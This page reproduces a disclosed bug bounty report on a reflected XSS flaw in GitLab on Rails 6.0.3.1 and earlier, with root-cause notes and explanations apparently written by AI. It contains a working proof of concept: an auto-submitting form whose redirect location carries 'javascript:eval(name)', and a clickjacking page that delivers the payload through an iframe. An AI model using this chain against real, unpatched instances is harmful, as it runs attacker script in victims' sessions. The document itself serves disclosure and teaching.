Skip to content
XSS Disclosed report Intermediate

Reflected XSS (<= Rails 6.0.3.1)

A reflected cross-site scripting vulnerability existed in GitLab when it used Rails 6.0.3.1 or earlier, because the ActionDispatch::ActionableExceptions middleware was accessible in production and allowed a javascript: URL as a redirect destination. An attacker could trick a user into clicking a button on a malicious site, leading to JavaScript execution in the context of the GitLab instance.

GitLab

Originally disclosed on GitLab

  • Fixed in 49 days
  • Disclosed after 49 days

HackerOne report #1004872 by ooooooo_q on 2020-10-10, assigned to @rchan-gitlab:

Report | Attachments | How To Reproduce

Report

Summary

Reflected XSS occurs on Gitlab where Rails 6.0.3.1 and below are used.

Impact

XSS occurs on the Gitlab side by inducing the user to click the screen on the trap site.

Steps to reproduce
step1. Prepare gitlab server

Prepare a server that runs on https://localhost.

step2. Prepare a trap server for attacks
  • gitlab_child.html
HTML
&lt;form method=&#34;post&#34; action=&#34;https://localhost/rails/actions?error=ActiveRecord::PendingMigrationError&amp;action=Run%20pending%20migrations&amp;location=%0Djavascript%3Aeval%28name%29&#34;&gt;  
    &lt;button type=&#34;submit&#34;&gt;location is escape(&#34;\rjavascript:eval(name)&#34;)&lt;/button&gt;  
&lt;/form&gt;  
&lt;script type=&#34;text/javascript&#34;&gt;  
    document.querySelector(&#34;button&#34;).click();  
&lt;/script&gt;  
  • click_jacking.html
HTML
&lt;html&gt;  
&lt;style&gt;  
iframe{  
    position: absolute;  
    z-index: 1;  
    opacity: 0.3;  
}
div{  
    position: absolute;  
    top: 20px;  
    left: 130px;  
}
button {  
    width: 80px;  
    height: 26px;  
    cursor: pointer;  
}
&lt;/style&gt;  
&lt;body&gt;  
    &lt;iframe src=./gitlab_child.html name=&#34;alert(location)&#34; height=40&gt;&lt;/iframe&gt;  
    &lt;div&gt;   
        &lt;button&gt;click!!&lt;/button&gt;  
    &lt;/div&gt;   
&lt;/body&gt;  
&lt;/html&gt;  

Prepare the above file to be opened on the attack server.

python3 -m http.server 8000  
step3. Open in browser

Open http://localhost:8000/gitlab_click_jacking.html in browser.

__________2020-10-11_6.45.55.png
__________2020-10-11_6.45.55.png From the original on GitLab

Click the button.

__________2020-10-11_6.46.02.png
__________2020-10-11_6.46.02.png From the original on GitLab

javascript:eval(name) is executed and an alert is raised.

Examples

This vulnerability is derived from Rails and occurs regardless of gitlab user or project.

This issue occurs in Rails 6.0.3.1 and below when the ActionDispatch::ActionableExceptions middlware is also accessible in production mode.
https://groups.google.com/forum/#!topic/rubyonrails-security/pAe9EV8gbM0

https://github.com/rails/rails/blob/v6.0.3.1/actionpack/lib/action_dispatch/middleware/actionable_exceptions.rb

The html output from the server is as follows.

HTML
&lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;You are being &lt;a href=&#34;  
javascript:eval(name)&#34;&gt;redirected&lt;/a&gt;.&lt;/body&gt;&lt;/html&gt;  

Rails security header (X-frame-options, CSP) is not output in this response.
Therefore, it is possible to guide the user with click jacking.

The problem that javascript can be specified as the redirect destination has been fixed in 6.0.3.4.
https://groups.google.com/forum/#!topic/rubyonrails-security/yQzUVfv42jk

What is the current bug behavior?

Occurs when the middlware URL from ActionDispatch::ActionableExceptions is accessible in production.

13.4.3, 13.3.7 and 13.2.10 use 6.0.3.1 and are affected.

https://gitlab.com/gitlab-org/gitlab/-/blob/v13.4.3-ee/Gemfile.lock#L873
https://gitlab.com/gitlab-org/gitlab/-/blob/v13.3.7-ee/Gemfile.lock#L866
https://gitlab.com/gitlab-org/gitlab/-/blob/v13.2.10-ee/Gemfile.lock#L822

What is the expected correct behavior?

ActionDispatch::ActionableExceptions is not accessible.
The solution is to update Rails version to 6.0.3.2 or higher.

Output of checks

gitlab.com is not affected as it uses 6.0.3.3.
https://gitlab.com/gitlab-org/gitlab/-/blob/master/Gemfile.lock#L873

Results of GitLab environment info
###  gitlab-rake gitlab:env:info

System information  
System:		  
Current User:	git  
Using RVM:	no  
Ruby Version:	2.6.6p146  
Gem Version:	2.7.10  
Bundler Version:1.17.3  
Rake Version:	12.3.3  
Redis Version:	5.0.9  
Git Version:	2.28.0  
Sidekiq Version:5.2.9  
Go Version:	unknown

GitLab information  
Version:	13.3.7  
Revision:	0984a0f544b  
Directory:	/opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:	PostgreSQL  
DB Version:	11.7  
URL:		https://gitlab.example.com  
HTTP Clone URL:	https://gitlab.example.com/some-group/some-project.git  
SSH Clone URL:	[email protected]:some-group/some-project.git  
Using LDAP:	no  
Using Omniauth:	yes  
Omniauth Providers: 

GitLab Shell  
Version:	13.6.0  
Repository storage paths:  
- default: 	/var/opt/gitlab/git-data/repositories  
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell  
Git:		/opt/gitlab/embedded/bin/git  

Impact

XSS occurs on the Gitlab side by inducing the user to click the screen on the trap site.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the ActionDispatch::ActionableExceptions middleware was accessible in production and did not properly validate the redirect location, allowing a javascript: scheme.

Impact

An attacker could execute JavaScript in the context of the GitLab instance by tricking a user into clicking a button on a malicious site.

What the attacker needed

GitLab using Rails 6.0.3.1 or earlier; ActionableExceptions middleware accessible; Victim clicks a button on attacker's site

The fix

The javascript redirect issue was fixed in Rails 6.0.3.4; the report recommends updating to [redacted] or higher.

How it was found

  1. Set up a GitLab server running on https://localhost.
  2. Create an HTML page that automatically submits a form to the GitLab actionable exceptions endpoint with a crafted location parameter.
  3. Create a clickjacking page that embeds the form page in an iframe and overlays a button.
  4. Serve the pages from a local web server.
  5. Open the clickjacking page in a browser and click the button.
  6. Observe that JavaScript is executed and an alert is shown.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Cross-site scripting (XSS) is a flaw where an attacker can make a website run their own JavaScript code in a victim's browser. Here, a part of the Ruby on Rails framework that shows error pages was left switched on in production, and it let an attacker put a JavaScript link into a redirect. By getting the user to click a disguised button, the attacker could run code as that user on the GitLab site.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.